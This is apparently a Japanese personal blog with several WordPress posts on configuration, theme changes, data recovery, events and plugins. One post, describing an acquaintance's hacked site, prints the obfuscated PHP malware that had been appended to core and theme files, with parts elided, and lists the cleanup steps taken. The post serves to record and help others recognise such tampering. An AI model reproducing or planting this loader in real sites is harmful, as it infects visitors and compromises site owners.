WordPress セッション切れ

先日WordPressを再構築したら、「セッション切れ」が出まくっていた。
こちらのサイト「yuichon」で解決方法を見つけたので、書いておくことに。

原因は、WordPressアドレス (URL) と サイトアドレス (URL)を変えていることにあるようだ。

そこで、wp-configファイルに次を追記する。

//domein変更エラー対処
define('WP_SITEURL','http://www.example.com/wordpress/');

WordPress 2014テンプレート

思わぬ失敗によりWordPressを一から構築しなければならなくなった当ブログでございます。
トホホ。

ついでにテンプレートを最新の「Twenty Fourteen」にしてみた。
するとヘッダーに用意された最適な画像サイズは「1260px × 240px」になった。

以前のテンプレート(2011だったか?)は「1000px × 288px」だったので、より横に広く、縦は短めになっている。

ということで、まだ直してないからヘッダー画像が変です。
近々、修正しなければ。

(修正しました。いかがでしょ?)

他にもいくつかの問題点を抱えつつ、地道に修正をしていきましょう。

WordPressのデータを誤って削除

ガーン。
このブログは「WordPress」というオープンソースCMSを使っているんだけど、ある実験をしようとして、誤ってデータを消してしまった。
ディレクトリごとない。

エエエーーー、なんでぇーという感じでございます。
さくらインターネットのレンタルサーバを借りていて、その管理画面で、あるミスを犯したようだ。
ショックすぎる。

気を取り直して、データの修復です。

文字データはMySQLに格納されているので「phpMyAdmin」というソフトを使って取り出すことにした。
さくらインターネットでは「管理画面」の左側「データベースの設定」から、中央あたり「管理ツールログイン」をクリックして、IDとパスワードを入力すると接続出来る。

ここに至るまでに会社の社員に多大なる協力をいただいて、やっとここまで来たわけでして、うまくいったところだけ記載します。
(この間に何度もデータを入れたり、消したり、大変だったわけですが)

私のブログは2006年から書いており、データが大きい。
phpMyAdminでSQL書き出しをするとデータは多いわ、それに一つのサーバでいくつものWordPressを動かしているため、テーブルがゴチャゴチャです。

そこで、データを一つずつエキスポートして、新しいデータベースにインポートするということを地道にしました。
それでも、postsデータは30MBほどあり、phpMyAdminの表示は、最大16MBとあるので、それをテキストアプリで3分割してからインポート。

phpAdminで見ると、データは「wpで始まるposts」というところに格納されている。
(以下、テーブル名部分は「…」で記載)

これだけではカテゴリーデータはこないので、同様に「wp…terms」や「wp…term_taxonomy」も同じ操作をする。
それなりに順調に進んだのだが、

調子に乗って「wp…users」そして、次が問題「wp…usermeta」こいつをインポートした途端にWordPressに(ログインは出来るのに)管理者画面にアクセス出来なくなってしまった。

参った。
結局、原因は「….」このテーブル名が昔のものを持ってきていたからで、それを新しいテーブル名に書き換えてやれば良かったのである。

phpMyAdminを使うと、かなりのものが復旧出来ることはわかった。
しかし、写真データはこれからです。
自宅のマシンの中の写真を探し出さなければなりませぬ。
つづく…

WordPress 3.7

このブログで利用しているWordPressを3.7にアップした。
この3.7からは「バックグラウンドで自動的にこれらのアップデートを適用する」そうです。

他にも「新しいパスワードメーターによりユーザーにより強力なパスワードを選ぶよう促すことが可能に」なった。

「WordPress Codex 日本語版」に、すぐに翻訳が載ってくれるのは助かる。
WordPress 3.7の情報も詳しい。

WordPress:ヘッダーの画像の削除方法

長い間、疑問に思っていたことが、昨晩、あっさりと解決して頂きました。
Webnistさん、本当にありがとうございます。感謝、感謝です。

それは、WordPressのヘッダーの写真(このブログでも上部分に写真を表示しています)、それを追加するためのGUIが用意されていて簡単に出来ます。
ダッシュボードの「概観」の「ヘッダー」画面で「写真をアップロード」していくだけ。

しかしながら、「削除」したいのに、「削除」のボタンはない。
そこで、FTPでサーバに入ってファイルを削除してみたが、それでは「画像が表示されない」という状態で、画像のリンク切れが表示されてしまうだけ。
どうしたらいいのだろう?

わかってしまえば簡単なことなのだが、
ダッシュボードの「メディア」の「ライブラリ」を開いて、ここの画面で写真を「完全に削除する」そうです。
ライブラリに写真が多い場合は、ファイル名を入れて、「メディアを検索」してみます。

消えました。ありがとうございました。

WordPress アジュール部に参加

「WordPress アジュール部」に参加しました。

場所は日本マイクロソフトさんの会議室。
18:30〜20:30

少し遅れて行って、マイクロソフトさんのビルの中で、会議室探してウロウロ。
立派なビルの、ステキなオフィスです。
結局30分くらい遅れて入っちゃいました。

Windows Azure」でWordPressを動かすということの初心者向けの内容でした。
WordPressでは有名な、太田さん(Webnistさん)堀家さん(カクニンさん)のお話を聞くことが出来て良かったです。

今回は「初心者向け」とあったので、わかりやすい言葉を選んで、選んで、話されていました。
ありがとうございました。

「Windows Azure」のページの右上に、「無料評価版」というリンクがあって、クリックすると「90日間無料評価版」があります。

Web制作を効率化して、クリエイティブに専念しよう~WordPress編~

Web制作を効率化して、クリエイティブに専念しよう~WordPress編~」に参加しました。

場所は、麹町にある「KDDI ウェブコミュニケーションズ」さんの会議室
時間は、16:00〜18:00

セッション1:WordPressを使ったWeb制作効率化のためのTips&Tools
講師は、「よつばデザイン」の後藤賢司さん。
後藤さんは、東京と大分を拠点にして、デザイン業を営んでいるそうです。

「効率化」・・・ついつい、ついつい、慣れた手法でやってしまいますよね。
何かを変革するには、エネルギーと時間が必要。

わかっちゃいるけど、前のマンマが多いと思う中、あちこちに効率化を考えて仕事を進めている人の話を聞くと、頭の中が整理されたり、触発されたりして、良かったです。

セッション2:WordPressでのSmartRelease活用法
講師は、KDDIウェブコミュニケーションズの阿部正幸さん。

SmartRelease」を使ったサーバサイドの効率化を聞きました。
テストサーバと本番サーバでは、PHPやmySQLや、その他もろもろのバージョンが異なっていたり、様々な理由でスンナリいかない経験は誰でもしていると思います。それを回避するためにというサービス。なかなかおもしろい。

検索していたら、「株式会社コニュニティコム」さんに詳しいレポートがあるので、こちらをどうぞ

WordPressに改ざん

知人にもWordpressを勧めて、「結構いいね」なんて言われていたのですが、アララ、ページが改ざんされてしまったそうです。

そのサイトに行くと、ウィルスソフトが「トロイの木馬」に感染したとかいう警告を出すそうな。ひどい人はPCが使い物にならない(といっても、どの程度だったのか詳細は不明ですけど)らしい。

チェックをしてみますと、いくつかのファイルに改ざん後がありました。
ネットで調べると、同様の改ざんが報告されています。
私もこちらに記しておきまする。

■改ざんされたのは次のファイル。
Wordpressのフォルダ/index.php
Wordpressのフォルダ/wp-blog-header.php
Wordpressのフォルダ/wp-content/themes/index.php
Wordpressのフォルダ/wp-content/themes/利用しているテーマ/footer.php
Wordpressのフォルダ/wp-content/themes/利用しているテーマ/header.php
Wordpressのフォルダ/wp-content/themes/利用しているテーマ/index.php

(テストで入れておいたテーマにも改ざんがあったので、そちらはフォルダごと削除)

■改ざん方法
それぞれのphpファイルの最後に次の記載が追加されていた。
これが1行にズラズラ〜っと記載してありました。

<?php @error_reporting(0);
if (!isset($eva1fYlbakBcVSir)) {
$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3T(省略)
bkRTID0xODc5Mjt9";
$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";
$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";
$eva1tYldakBoVS1r = "\x65\143\x(省略)\x67\145\x72\160";
$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\(省略)
akBcVSir($eva1tYldakBoVS1r);
$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);
$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016),
$eva1fYlbakBcVSir);$eva1tYXdakAcVSjr =
$eva1tYidakBcVSjr[0.031*0.061];
$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016),
$eva1tYidokBoVSjr);
$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],
$eva1tYidokBcVSjr[62.5*0.016],
$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";
$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";
$eva1tYldakBoVS1r = "\x65\143\x72\160";
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
} ?>

■後処理として、
これらのファイルのその記載は削除してもらって、さらに
・ftpサーバのパスワード変更
・Wordpressのパスワード変更
・レンタルサーバーへの報告
・Wordpressを最新バージョンに更新
・pluginを最新バージョンに更新

これらをして頂きました。ふ〜。

WordPress:子テーマ

WordPressのTwentyelevenテンプレートは実によく出来ています。重宝しております。
でも、そのままでは使えないから、色々と手を加えるんだけど、子テーマを作った方が後々のメンテがやりやすいように思います。
子テーマを作ってみました。

<子テーマの作り方>

(1)wp-content/themes/にフォルダを作成
(例:フォルダ名はoyamatvとかなんでもいいんだけど)

(2)oyamatvフォルダを開き、twentyelevenフォルダのstyle.cssをコピー

(3)「style.css」を開き、先頭のコメントを残し、他は削除

(4)次の記載をする(そうするとテンプレートとして設定が可能になる)

@charset "utf-8";
/*
Theme Name: oyama
Author: オヤマ日記飴
Description: Twentyelevenの子テーマ
Template: twentyeleven
*/

@import url("../twentyeleven/style.css");

(5)管理画面で子テーマを有効化する

新たに作ったstyle.cssに、追記していきますから、これが便利だと思います。

WordPress:3.3.1インストール時のプラグイン

あるサイトを構築するために、最新のWordpree3.3.1をインストールしたところ、以前よりもプラグインが多く入ったような気がします。もしかしたら、以前からこのくらい入っていたのかな?ついでにどのようなプラグインが入ったか、見てみます。

<デフォルトでインストールされるプラグイン>
・Akismet(コメント・トラックバックスパム対策)
・Contact Form 7(お問い合わせフォーム)
・Hello Dolly(Hello Dollyの歌詞を定期的に表示する)
・WP-SpamFree(コメントスパム対策)
・WP Multibyte Patch(マルチバイト文字対応)
・WP Super Cache(高速化)
・WPtouch(スマホからの利用に便利)

<疑問>
「Akismet」があって「WP-SpamFree」もいるのかしら?
「WP-SpamFree」は、AkismetのようなAPIキーがいらないようですから、「有効化」するだけで使える。試しましょう。